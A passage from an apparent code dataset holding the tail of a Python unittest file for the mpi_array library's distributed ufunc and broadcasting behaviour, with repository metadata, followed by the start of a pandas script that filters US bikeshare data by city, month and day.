out[1].free()\n\n\nclass BroadcastShapeTest(_unittest.TestCase):\n\n    \"\"\"\n    :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.broadcast_shape`.\n    \"\"\"\n\n    def test_non_broadcastable(self):\n        \"\"\"\n        Test that :func:`mpi_array.globale_ufunc.broadcast_shape` raises\n        a :obj:`ValueError` if shapes are not broadcastable.\n        \"\"\"\n\n        self.assertRaises(\n            ValueError,\n            broadcast_shape,\n            (4,),\n            (5,)\n        )\n        self.assertRaises(\n            ValueError,\n            broadcast_shape,\n            (5,),\n            (6,)\n        )\n        self.assertRaises(\n            ValueError,\n            broadcast_shape,\n            (5, 5),\n            (6, 5)\n        )\n        self.assertRaises(\n            ValueError,\n            broadcast_shape,\n            (5, 6),\n            (5, 5)\n        )\n        self.assertRaises(\n            ValueError,\n            broadcast_shape,\n            (5, 6, 7),\n            (5, 1, 1),\n            (5, 6, 1),\n            (1, 1, 7),\n            (1, 1, 6)\n        )\n\n    def test_broadcastable(self):\n        \"\"\"\n        Asserts for variety of broadcastable shapes.\n        \"\"\"\n        self.assertSequenceEqual((), broadcast_shape(()))\n        self.assertSequenceEqual((), broadcast_shape((), ()))\n        self.assertSequenceEqual((), broadcast_shape((), (), ()))\n\n        self.assertSequenceEqual((1,), broadcast_shape((), (), (1, )))\n        self.assertSequenceEqual((4, ), broadcast_shape((4, ), (), (1, )))\n        self.assertSequenceEqual((1, 4), broadcast_shape((4, ), (1, 1), (1, )))\n        self.assertSequenceEqual((4, 5), broadcast_shape((5, ), (1, 5), (4, 1)))\n\n\nclass ToGndarrayConverter(object):\n\n    \"\"\"\n    Base class for converting :obj:`numpy.ndarray` objects\n    to :obj:`mpi_array.globale.gndarray` objects.\n    \"\"\"\n\n    def __init__(self, **kwargs):\n        \"\"\"\n        The :samp:`kwargs` are passed directly to the :func:`mpi_array.globale_creation.asarray`\n        function in :meth:`__call__`.\n        \"\"\"\n        self.kwargs = kwargs\n\n    def __call__(self, npy_ary):\n        \"\"\"\n        Converts the :samp:`{npy_ary}` to a :obj:`mpi_array.globale.gndarray` instance.\n\n        :type npy_ary: :obj:`numpy.ndarray`\n        :param npy_ary: Array converted to :obj:`mpi_array.globale.gndarray`.\n           This array is assumed to be identical on all peer-rank MPI processes.\n        :rtype: :obj:`mpi_array.globale.gndarray`\n        :return: The :samp:`{npy_ary}` converted to a :obj:`mpi_array.globale.gndarray` instance.\n        \"\"\"\n        if \"halo\" not in self.kwargs.keys():\n            halo = _np.random.randint(low=1, high=4, size=(npy_ary.ndim, 2))\n            gnd_ary = _asarray(npy_ary, halo=halo, **self.kwargs)\n        else:\n            gnd_ary = _asarray(npy_ary, **self.kwargs)\n\n        return gnd_ary\n\n\nclass GetExtentsTest(_unittest.TestCase):\n\n    \"\"\"\n    :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.get_extents`.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        \"\"\"\n        locale_comms, inter_locale_rank_to_peer_rank, this_locale = _comms.create_locale_comms()\n        self.comms = locale_comms\n        self.locale_info = this_locale\n        del inter_locale_rank_to_peer_rank\n\n    def test_scalar(self):\n        \"\"\"\n        Test :func:`mpi_array.globale_ufunc.get_extents` with scalar input.\n        \"\"\"\n        l, g = get_extents(5.0, self.locale_info)\n        self.assertTrue(isinstance(l, _distribution.ScalarLocaleExtent))\n        self.assertTrue(isinstance(g, _distribution.ScalarGlobaleExtent))\n\n\nclass GndarrayUfuncTest(_unittest.TestCase):\n\n    \"\"\"\n    :obj:`unittest.TestCase` for :obj:`mpi_array.globale_ufunc`.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Initialise :func:`numpy.random.seed`.\n        \"\"\"\n        _np.random.seed(1531796312)\n        self._rank_logger = _logging.get_rank_logger(self.id())\n        with _asarray(_np.zeros((100,))) as gary:\n            self.num_node_locales = gary.num_locales\n\n    @property\n    def rank_logger(self):\n        \"\"\"\n        A :obj:`logging.Logger` object.\n        \"\"\"\n        return self._rank_logger\n\n    def compare_results(self, mpi_cln_npy_result_ary, mpi_result_ary):\n        \"\"\"\n        Asserts that all elements of\n        the :obj:`mpi_array.globale.gndarray` :samp:`{mpi_cln_npy_result_ary}`\n        equal all elements of the  :obj:`mpi_array.globale.gndarray` :samp:`{mpi_result_ary}`.\n\n        :type mpi_cln_npy_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_cln_npy_result_ary: The result returned by :samp:`{func}(*{func_args})`\n            converted to a cloned-distribution :obj:`mpi_array.globale.gndarray`.\n        :type mpi_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_result_ary: The result array\n           from :meth:`mpi_array.globale.gndarray.__array_ufunc__` execution.\n        \"\"\"\n        with \\\n                _zeros(\n                    shape=mpi_result_ary.shape,\n                    dtype=mpi_result_ary.dtype,\n                    locale_type=LT_NODE,\n                    distrib_type=DT_CLONED\n                ) as mpi_cln_mpi_result_ary:\n\n            _copyto(dst=mpi_cln_mpi_result_ary, src=mpi_result_ary)\n\n            self.assertSequenceEqual(\n                tuple(mpi_cln_npy_result_ary.shape),\n                tuple(mpi_cln_mpi_result_ary.shape)\n            )\n            self.assertTrue(\n                _np.all(\n                    mpi_cln_npy_result_ary.lndarray_proxy.view_n\n                    ==\n                    mpi_cln_mpi_result_ary.lndarray_proxy.view_n\n                )\n            )\n\n    def convert_func_args_to_gndarrays(self, converter, func_args):\n        \"\"\"\n\n        :type converter: :obj:`ToGndarrayConverter`\n        :param converter: Used to convert the :obj:`numpy.ndarray` instances\n           of :samp:`{func_args}` to :obj:`mpi_array.globale.gndarray` instances.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: Sequence of array-like objects.\n           Can be comprised of misture of :obj:`numpy.ndarray` instances, scalars\n           or (broadcastable) sequences (e.g. tuple of scalars) elements.\n        :rtype: :obj:`list`\n        :return: The :samp:`{func_args}` list with :obj:`numpy.ndarray` instances\n           converted to :obj:`mpi_array.globale.gndarray` instances.\n        \"\"\"\n        return [converter(arg) if isinstance(arg, _np.ndarray) else arg for arg in func_args]\n\n    def do_convert_execute_and_compare(self, mpi_cln_npy_result_ary, converter, func, *func_args):\n        \"\"\"\n        Compares the result of :samp:`{func}` called\n        with :samp:`self.convert_func_args_to_gndarrays({converter}, {func_args})`\n        converted arguments with the :samp:`{mpi_cln_npy_result_ary}` array (which should\n        have been produced by\n        calling :samp:`mpi_array.globale_creation.asarray({func}(*func_args))`).\n\n        :type mpi_cln_npy_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_cln_npy_result_ary: The result returned by :samp:`{func}(*{func_args})`\n            converted to a cloned-distribution :obj:`mpi_array.globale.gndarray`.\n        :type converter: :obj:`ToGndarrayConverter`\n        :param converter: Used to convert the :obj:`numpy.ndarray` instances\n           of :samp:`{func_args}` to :samp:`mpi_array.globale.gndarray` instances.\n        :type func: callable\n        :param func: Function which computes a new array from the :samp:`*{func_args}`\n            arguments and for arguments converted with :samp:`{converter}`.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: The arguments for the :samp:`{func}` function.\n           Can be comprised of :obj:`numpy.ndarray`, scalars or broadcastable\n           sequence (e.g. tuple of scalars) elements.\n\n        .. seealso: :meth:`convert_func_args_to_gndarrays`\n\n        \"\"\"\n        mpi_func_args = self.convert_func_args_to_gndarrays(converter, func_args)\n        with func(*mpi_func_args) as mpi_result_ary:\n            if mpi_cln_npy_result_ary is None:\n                mpi_cln_npy_result_ary = func(*func_args)\n            self.compare_results(mpi_cln_npy_result_ary, mpi_result_ary)\n        for arg in mpi_func_args:\n            if hasattr(arg, \"free\"):\n                arg.free()\n\n    def do_cloned_distribution_test(self, mpi_cln_npy_result_ary, func, *func_args):\n        \"\"\"\n        Converts :obj:`numpy.ndarray` elements of :samp:`func_args`\n        to :obj:`mpi_array.globale.gndarray` instances distributed as\n        the :attr:`mpi_array.comms.DT_CLONED` distribution type.\n\n        :type mpi_cln_npy_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_cln_npy_result_ary: The result returned by :samp:`{func}(*{func_args})`\n            converted to a cloned-distribution :obj:`mpi_array.globale.gndarray`.\n        :type func: callable\n        :param func: Function which computes a new array from the :samp:`*{func_args}`\n            arguments.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: The arguments for the :samp:`{func}` function.\n           Can be comprised of :obj:`numpy.ndarray`, scalars or broadcastable\n           sequence (e.g. tuple of scalars) elements.\n\n        .. seealso: :meth:`do_convert_execute_and_compare`, :meth:`compare_results`\n        \"\"\"\n        converter = ToGndarrayConverter(locale_type=LT_PROCESS, distrib_type=DT_CLONED)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n        converter = ToGndarrayConverter(locale_type=LT_NODE, distrib_type=DT_CLONED, halo=0)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n    def do_single_locale_distribution_test(self, mpi_cln_npy_result_ary, func, *func_args):\n        \"\"\"\n        Converts :obj:`numpy.ndarray` elements of :samp:`func_args`\n        to :obj:`mpi_array.globale.gndarray` instances distributed as\n        the :attr:`mpi_array.comms.DT_SINGLE_LOCALE` distribution type.\n\n        :type mpi_cln_npy_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_cln_npy_result_ary: The result returned by :samp:`{func}(*{func_args})`\n            converted to a cloned-distribution :obj:`mpi_array.globale.gndarray`.\n        :type func: callable\n        :param func: Function which computes a new array from the :samp:`*{func_args}`\n            arguments.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: The arguments for the :samp:`{func}` function.\n           Can be comprised of :obj:`numpy.ndarray`, scalars or broadcastable\n           sequence (e.g. tuple of scalars) elements.\n\n        .. seealso: :meth:`do_convert_execute_and_compare`\n        \"\"\"\n        class Converter(ToGndarrayConverter):\n\n            def __call__(self, np_ary):\n                gndary = ToGndarrayConverter.__call__(self, np_ary)\n                num_locales = gndary.locale_comms.num_locales\n                self.kwargs[\"inter_locale_rank\"] = \\\n                    ((self.kwargs[\"inter_locale_rank\"] + 1) % num_locales)\n                return gndary\n\n        converter = \\\n            Converter(locale_type=LT_PROCESS, distrib_type=DT_SINGLE_LOCALE, inter_locale_rank=0)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n        converter = \\\n            Converter(locale_type=LT_NODE, distrib_type=DT_SINGLE_LOCALE, inter_locale_rank=0)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n    def do_block_distribution_test(self, mpi_cln_npy_result_ary, func, *func_args):\n        \"\"\"\n        Converts :obj:`numpy.ndarray` elements of :samp:`func_args`\n        to :obj:`mpi_array.globale.gndarray` instances distributed as\n        the :attr:`mpi_array.comms.DT_BLOCK` distribution type.\n\n        :type mpi_cln_npy_result_ary: :obj:`mpi_array.globale.gndarray`\n        :param mpi_cln_npy_result_ary: The result returned by :samp:`{func}(*{func_args})`\n            converted to a cloned-distribution :obj:`mpi_array.globale.gndarray`.\n        :type func: callable\n        :param func: Function which computes a new array from the :samp:`*{func_args}`\n            arguments.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: The arguments for the :samp:`{func}` function.\n           Can be comprised of :obj:`numpy.ndarray`, scalars or broadcastable\n           sequence (e.g. tuple of scalars) elements.\n\n        .. seealso: :meth:`do_convert_execute_and_compare`\n\n        \"\"\"\n        class Converter(ToGndarrayConverter):\n\n            def __init__(self, **kwargs):\n                ToGndarrayConverter.__init__(self, **kwargs)\n                self.dims = None\n                self.axis = 1\n\n            def __call__(self, np_ary):\n                if self.dims is None:\n                    self.kwargs[\"dims\"] = tuple(_np.zeros((np_ary.ndim,), dtype=\"int64\"))\n                gndary = ToGndarrayConverter.__call__(self, np_ary)\n                self.axis = min([self.axis, np_ary.ndim])\n                self.kwargs[\"dims\"] = _np.ones((np_ary.ndim,), dtype=\"int64\")\n                self.kwargs[\"dims\"][self.axis] = 0\n                self.kwargs[\"dims\"] = tuple(self.kwargs[\"dims\"])\n                self.dims = self.kwargs[\"dims\"]\n                self.axis = ((self.axis + 1) % np_ary.ndim)\n\n                return gndary\n\n        converter = Converter(locale_type=LT_PROCESS, distrib_type=DT_BLOCK)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n        converter = Converter(locale_type=LT_NODE, distrib_type=DT_BLOCK)\n        self.do_convert_execute_and_compare(mpi_cln_npy_result_ary, converter, func, *func_args)\n\n    def do_multi_distribution_tests(self, func, *func_args):\n        \"\"\"\n        Compares result of :samp:`{func}` called with :obj:`numpy.ndarray`\n        arguments and result of :samp:`{func}` called with :obj:`mpi_array.globale.gndarray`\n        arguments.\n        Executes :samp:`{func}(*{func_args})` and compares the result\n        with :samp:`{func}(*self.convert_func_args_to_gndarrays(converter, {func_args}))`,\n        where multiple versions instances of :samp:`converter` are used to generate\n        different distributions for the :obj:`mpi_array.globale.gndarray` :samp:`{func}`\n        arguments.\n\n        :type func: callable\n        :param func: Function which computes a new array from the :samp:`*{func_args}`\n            arguments.\n        :type func_args: sequence of :obj:`numpy.ndarray` or array-like objects\n        :param func_args: The arguments for the :samp:`{func}` function.\n           Can be comprised of :obj:`numpy.ndarray`, scalars or broadcastable\n           sequence (e.g. tuple of scalars) elements.\n\n        .. seealso: :meth:`do_cloned_distribution_test`, :meth:`do_single_locale_distribution_test`\n           , :meth:`do_block_distribution_test` and :meth:`do_convert_execute_and_compare`\n        \"\"\"\n        with _asarray(func(*func_args)) as mpi_cln_npy_result_ary:\n            self.do_cloned_distribution_test(mpi_cln_npy_result_ary, func, *func_args)\n            self.do_single_locale_distribution_test(mpi_cln_npy_result_ary, func, *func_args)\n            self.do_block_distribution_test(mpi_cln_npy_result_ary, func, *func_args)\n\n    def test_umath_multiply(self):\n        \"\"\"\n        Asserts that binary ufunc multiplication (:obj:`numpy.multiply`) computation\n        for :obj:`mpi_array.globale.gndarray` arguments produces same results as\n        for :obj:`numpy.ndarray` arguments. Tries various argument combinations\n        and different distribution types for the :obj:`mpi_array.globale.gndarray`\n        arguments.\n        \"\"\"\n        per_axis_size_factor = int(_np.floor(_np.sqrt(float(self.num_node_locales))))\n        gshape0 = (41 * per_axis_size_factor + 1, 43 * per_axis_size_factor + 3, 5)\n        npy_ary0 = _np.random.uniform(low=0.5, high=1.75, size=gshape0)\n\n        with _asarray(npy_ary0) as cln_ary:\n            self.assertTrue(_np.all(npy_ary0 == cln_ary.lndarray_proxy.lndarray))\n\n        def multiply(ary0, ary1):\n            return ary0 * ary1\n\n        self.do_multi_distribution_tests(multiply, npy_ary0, 1.0 / 3.0)\n        self.do_multi_distribution_tests(multiply, npy_ary0, (0.1, 0.3, 0.5, 0.7, 1.9))\n        self.do_multi_distribution_tests(multiply, npy_ary0, npy_ary0)\n\n        gshape1 = gshape0[0:2] + (1,)\n        npy_ary1 = _np.random.uniform(low=-0.5, high=2.9, size=gshape1)\n        self.do_multi_distribution_tests(multiply, npy_ary0, npy_ary1)\n        self.do_multi_distribution_tests(multiply, npy_ary1, npy_ary0)\n\n        npy_ary0 = _np.random.uniform(low=-0.5, high=2.9, size=(gshape0[0], 1, gshape0[2]))\n        npy_ary1 = _np.random.uniform(low=-0.5, high=2.9, size=(1, gshape0[1], gshape0[2]))\n        self.do_multi_distribution_tests(multiply, npy_ary1, npy_ary0)\n\n    def do_test_umath(self, halo=0, gshape=(32, 48)):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` object\n        and a scalar.\n        \"\"\"\n        with _ones(gshape, dtype=\"int32\", locale_type=_comms.LT_PROCESS, halo=halo) as c:\n            # if True:\n            #    c = _ones(gshape, dtype=\"int32\", locale_type=_comms.LT_PROCESS, halo=halo)\n            c_orig_halo = c.distribution.halo\n\n            self.assertTrue(isinstance(c, _gndarray))\n            self.assertTrue((c == 1).all())\n\n            c *= 2\n            self.assertTrue((c == 2).all())\n            self.assertTrue(_np.all(c.distribution.halo == c_orig_halo))\n\n            with (c + 2) as d:\n                self.assertTrue(isinstance(d, _gndarray))\n                self.assertEqual(c.dtype, d.dtype)\n                self.assertTrue((d == 4).all())\n                self.assertTrue(_np.all(d.distribution.halo == c_orig_halo))\n\n    def test_umath_no_halo(self):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` object\n        and a scalar.\n        \"\"\"\n        self.do_test_umath(halo=0)\n\n    def test_umath_halo(self):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` object\n        and a scalar, test halo is preserved.\n        \"\"\"\n        self.do_test_umath(halo=[[1, 2], [3, 4]])\n\n    def do_test_umath_broadcast(self, halo=0, dims=(0, 0, 0)):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` objects\n        and an *array-like* object which requires requiring broadcast to result shape.\n        \"\"\"\n        with \\\n                _ones(\n                    (61, 55, 3),\n                    dtype=\"int32\",\n                    locale_type=_comms.LT_PROCESS,\n                    distrib_type=_comms.DT_BLOCK,\n                    dims=dims,\n                    halo=halo\n                ) as c:\n            c_orig_halo = c.distribution.halo\n\n            with (c * (2, 2, 2)) as d:\n\n                self.assertTrue(isinstance(d, _gndarray))\n                self.assertEqual(_np.asarray((2, 2, 2)).dtype, d.dtype)\n                self.assertSequenceEqual(tuple(c.shape), tuple(d.shape))\n                self.assertSequenceEqual(d.distribution.halo.tolist(), c_orig_halo.tolist())\n                self.assertTrue((d.view_n == 2).all())\n                self.assertTrue((d == 2).all())\n\n    def test_umath_broadcast_no_halo(self):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` objects\n        and an *array-like* object which requires requiring broadcast to result shape.\n        \"\"\"\n        self.do_test_umath_broadcast(halo=0, dims=(0, 0, 0))\n        self.do_test_umath_broadcast(halo=0, dims=(1, 1, 0))\n\n    def test_umath_broadcast_halo(self):\n        \"\"\"\n        Test binary op for a :obj:`mpi_array.globale.gndarray` objects\n        and an *array-like* object which requires requiring broadcast to result shape.\n        \"\"\"\n        self.do_test_umath_broadcast(halo=[[1, 2], [3, 4], [2, 1]], dims=(0, 0, 0))\n        self.do_test_umath_broadcast(halo=[[1, 2], [3, 4], [2, 1]], dims=(1, 1, 0))\n\n    def do_test_umath_broadcast_upsized_result(\n        self,\n        halo_a=0,\n        halo_b=0,\n        dims_a=(0, 0),\n        dims_b=(0, 0, 0)\n    ):\n        \"\"\"\n        Test binary op for two :obj:`mpi_array.globale.gndarray` objects\n        with the resulting :obj:`mpi_array.globale.gndarray` object having\n        different (larger) shape than that of both inputs.\n        \"\"\"\n        with \\\n                _ones(\n                    (19, 3),\n                    dtype=\"int32\",\n                    locale_type=_comms.LT_PROCESS,\n                    distrib_type=_comms.DT_BLOCK,\n                    dims=dims_a,\n                    halo=halo_a\n                ) as a, \\\n                _ones(\n                    (23, 1, 3),\n                    dtype=\"int32\",\n                    locale_type=_comms.LT_PROCESS,\n                    distrib_type=_comms.DT_BLOCK,\n                    dims=dims_b,\n                    halo=halo_b\n                ) as b:\n\n            with (a + b) as d:\n\n                self.assertTrue(isinstance(d, _gndarray))\n                self.assertSequenceEqual((b.shape[0], a.shape[0], 3), tuple(d.shape))\n                self.assertTrue((d == 2).all())\n\n    def test_umath_broadcast_upsized_result(self):\n        \"\"\"\n        Test binary op for two :obj:`mpi_array.globale.gndarray` objects\n        with the resulting :obj:`mpi_array.globale.gndarray` object having\n        different (larger) shape than that of both inputs.\n        \"\"\"\n        self.do_test_umath_broadcast_upsized_result(\n            halo_a=0,\n            halo_b=0,\n            dims_a=(0, 0),\n            dims_b=(0, 0, 0)\n        )\n        self.do_test_umath_broadcast_upsized_result(\n            halo_a=0,\n            halo_b=0,\n            dims_a=(0, 1),\n            dims_b=(0, 0, 1)\n        )\n        self.do_test_umath_broadcast_upsized_result(\n            halo_a=[[1, 2], [2, 1]],\n            halo_b=0,\n            dims_a=(0, 1),\n            dims_b=(0, 0, 1)\n        )\n        self.do_test_umath_broadcast_upsized_result(\n            halo_a=0,\n            halo_b=[[1, 2], [3, 4], [2, 1]],\n            dims_a=(0, 1),\n            dims_b=(0, 0, 1)\n        )\n        self.do_test_umath_broadcast_upsized_result(\n            halo_a=[[1, 2], [2, 1]],\n            halo_b=[[1, 2], [3, 4], [2, 1]],\n            dims_a=(0, 1),\n            dims_b=(0, 0, 1)\n        )\n\n    def do_test_umath_distributed_broadcast(self, halo_a=0, halo_b=0):\n        \"\"\"\n        Test binary op for two :obj:`mpi_array.globale.gndarray` objects\n        which requires remote fetch of data when broadcasting to result shape.\n        \"\"\"\n        with \\\n                _ones((61, 53, 5), dtype=\"int32\", locale_type=_comms.LT_PROCESS, halo=halo_a) as a,\\\n                _ones(a.shape, dtype=\"int32\", locale_type=_comms.LT_PROCESS, halo=halo_b) as b:\n            a_orig_halo = a.distribution.halo\n            b_orig_halo = b.distribution.halo\n\n            with (a + b) as c:\n\n                self.assertTrue(isinstance(c, _gndarray))\n                self.assertTrue((c == 2).all())\n                self.assertSequenceEqual(c.distribution.halo.tolist(), a_orig_halo.tolist())\n\n                with \\\n                        _ones(\n                            tuple(a.shape[1:]),\n                            dtype=c.dtype,\n                            locale_type=_comms.LT_PROCESS,\n                            dims=(0, 1),\n                            halo=b_orig_halo[1:]\n                        ) as twos:\n\n                    twos.fill_h(2)\n\n                    with (a * twos) as d:\n                        self.assertTrue(isinstance(d, _gndarray))\n                        self.assertSequenceEqual(tuple(a.shape), tuple(d.shape))\n                        self.assertTrue((d == 2).all())\n\n    def test_umath_distributed_broadcast_no_halo(self):\n        \"\"\"\n        Test binary op for two :obj:`mpi_array.globale.gndarray` objects\n        which requires remote fetch of data when broadcasting to result shape.\n        \"\"\"\n        self.do_test_umath_distributed_broadcast(halo_a=0, halo_b=0)\n\n    def test_umath_distributed_broadcast_halo(self):\n        \"\"\"\n        Test binary op for two :obj:`mpi_array.globale.gndarray` objects\n        which requires remote fetch of data when broadcasting to result shape.\n        Ghost elements added to arrays.\n        \"\"\"\n        self.do_test_umath_distributed_broadcast(halo_a=[[1, 2], [3, 4], [2, 1]], halo_b=0)\n        self.do_test_umath_distributed_broadcast(halo_a=0, halo_b=[[1, 2], [3, 4], [2, 1]])\n        self.do_test_umath_distributed_broadcast(\n            halo_a=[[2, 1], [4, 3], [1, 2]],\n            halo_b=[[1, 2], [3, 4], [2, 1]]\n        )\n\n    def test_ufunc_casting_arg(self):\n        \"\"\"\n        Test ufunc with casting argument.\n        \"\"\"\n        self.rank_logger.info(\"Calling ufunc with 'casting' kwarg.\")\n        with \\\n                _ones(\n                    (64, 32, 100),\n                    dtype=\"float32\",\n                    locale_type=_comms.LT_PROCESS,\n                    dims=(0, 0, 0),\n                    halo=2\n                ) as a:\n\n            _np.add(a, 1, casting=\"same_kind\", out=a)\n            self.assertTrue((a == 2).all())\n\n    def test_check_equivalent_inter_locale_comms(self):\n\n        with \\\n                _empty((50, 50, 50), locale_type=LT_NODE) as gary0,\\\n                _empty((50, 50, 50), locale_type=LT_PROCESS) as gary1:\n\n            if gary1.distribution.num_locales > 1:\n                self.assertRaises(\n                    ValueError,\n                    check_equivalent_inter_locale_comms,\n                    (gary0, gary1)\n                )\n\n    def test_not_implemented(self):\n        uf = _np.add\n        with _empty((50, 50, 50), locale_type=LT_NODE) as gary0:\n\n            for method in [\"reduce\", \"accumulate\", \"reduceat\", \"at\", \"outer\"]:\n                self.assertRaises(\n                    TypeError,\n                    getattr(uf, method),\n                    gary0,\n                    5.0\n                )\n\n\n_unittest.main(__name__)\n\n\n__all__ = [s for s in dir() if not s.startswith('_')]\n", "meta": {"hexsha": "e06e32971eeef84c9b312e07b47b26aec5faa2fc", "size": 33737, "ext": "py", "lang": "Python", "max_stars_repo_path": "mpi_array/globale_ufunc_test.py", "max_stars_repo_name": "mpi-array/mpi_array", "max_stars_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-06-05T14:05:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-08T14:16:33.000Z", "max_issues_repo_path": "mpi_array/globale_ufunc_test.py", "max_issues_repo_name": "mpi-array/mpi_array", "max_issues_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mpi_array/globale_ufunc_test.py", "max_forks_repo_name": "mpi-array/mpi_array", "max_forks_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2018-01-01T17:52:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-08T15:48:29.000Z", "avg_line_length": 40.4520383693, "max_line_length": 100, "alphanum_fraction": 0.5955182737, "include": true, "reason": "import numpy", "num_tokens": 8642, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.12592277631593438, "lm_q1q2_score": 0.05805251277923724}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCHICAGO = 'Chicago'\nNYC = 'New York City'\nWASHINGTON = 'Washington'\nCITY_DATA = { CHICAGO: 'chicago.csv',\n              NYC: 'new_york_city.csv',\n              WASHINGTON: 'washington.csv' }\ndays_in_week = [ 'Monday' , 'Tuesday' , 'Wednesday' , 'Thursday' , 'Friday' , 'Saturday' , 'Sunday' ]\nmonths_in_year = [ 'January' , 'February' , 'March' , 'April' , 'May' , 'June' , 'July' , 'August' , 'September' , 'October' , 'November' , 'December' ]\nhours = [ '11 PM' , '10 PM' , '9 PM' , '8 PM' , '7 PM' , '6 PM' , '5 PM' , '4 PM' , '3 PM' , '2 PM' , '1 PM' , '12 PM' , '11 AM' , '10 AM' , '9 AM' , '8 AM', '7 AM' , '6 AM' , '5 AM' , '4 AM' , '3 AM' , '2 AM' , '1 AM' , '12 AM' ]\n\nseconds_in_minute = 60\nseconds_in_hour = 60 * seconds_in_minute\nseconds_in_days = 24 * seconds_in_hour \nseconds_in_week = 7 * seconds_in_days\n\n#print(CITY_DATA)\nSTART_TIME = 'Start Time'\nEND_TIME = 'End Time'\nBIRTH_YEAR = 'Birth Year' \nSTART_STATION = 'Start Station'\nEND_STATION = 'End Station'\nTRIP_DURATION = 'Trip Duration'\nGENDER = 'Gender'\n\n#colums that are added \nSTART_MONTH = 'Start Month'\nSTART_DAY_OF_WEEK = 'Start Day of Week'\n\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    ALL = 'all'\n    \n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n        print(\"Select the number of the city that you would like to choose \")\n        print(\"1 - Chicago, 2 - New York, 3 - Washington\")\n        location = input(\"> \")\n        if location == '1' :\n            city = CHICAGO \n            print(\"You selected the city Chicago\")\n            break\n        elif location == '2' :\n                city = NYC\n                print(\"You selected the city New York\")\n                break\n        elif location == '3' :\n                city = WASHINGTON\n                print(\"You selected the city Washington\")\n                break\n        else :\n                print(\"You chose an inavlid option\")\n             \n    # TO DO: get user input for month (all, january, february, ... , june)\n    while True:\n        print(\"Select the number of the month that you want to explore or \\\"{}\\\": \".format(ALL))\n        print(\"1 - January .... 6 - June\")\n        m = input(\"> \")\n        if m == ALL :\n            month = None\n            break\n        try :\n            month = int(m)\n        except ValueError :\n            print(\"It is an invalid choice\")\n            continue\n        else :\n            if month >= 1 and month <= 6 :\n                print(\"You selected \" + months_in_year[month - 1])\n                break\n            elif month <= 12 :\n                print(\"You just have from January to June provided\")\n                print(\"It is an invalid choice\")\n                continue\n            else :\n                  print(\"It is an invalid choice\")\n                  continue    \n    # get user input for month (all, january, february, ... , june)\n    while True:\n        print(\"Select the number of the month you would like to explore or \\\"{}\\\": \".format(ALL))                    \n        print(\"1 - Monday ... 7 - Sunday\")\n        d = input(\"> \")\n        if d == ALL :\n            day = None\n            break\n        try :\n            day = int(d)\n        except ValueError :\n            print(\"It is an invalid choice\")\n            continue\n        else :\n            if day >= 1 and day<= 7 :\n                day -= 1\n                print(\"You selected \" + days_in_week[day])\n                break \n            else :\n                print(\"It is an invalid choice\")\n                continue\n                    \n    \n    return city, month, day\n                    \ndef convert_date_time_columns(df) :\n                    df[START_TIME] = df[START_TIME].apply(pd.to_datetime)\n                    df[END_TIME] = df[END_TIME].apply(pd.to_datetime)\n                    df[START_MONTH] = df[START_TIME].dt.month\n                    df[START_DAY_OF_WEEK] = df[START_TIME].dt.dayofweek                \n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    #load the data file to the dataframe\n    df = pd.read_csv(CITY_DATA[city])\n    \n    # convert the start time to datatime\n    convert_date_time_columns(df)\n                    \n    if month is not None :\n                    df = df[df[START_MONTH] == month]\n    if day is not None :\n                    df = 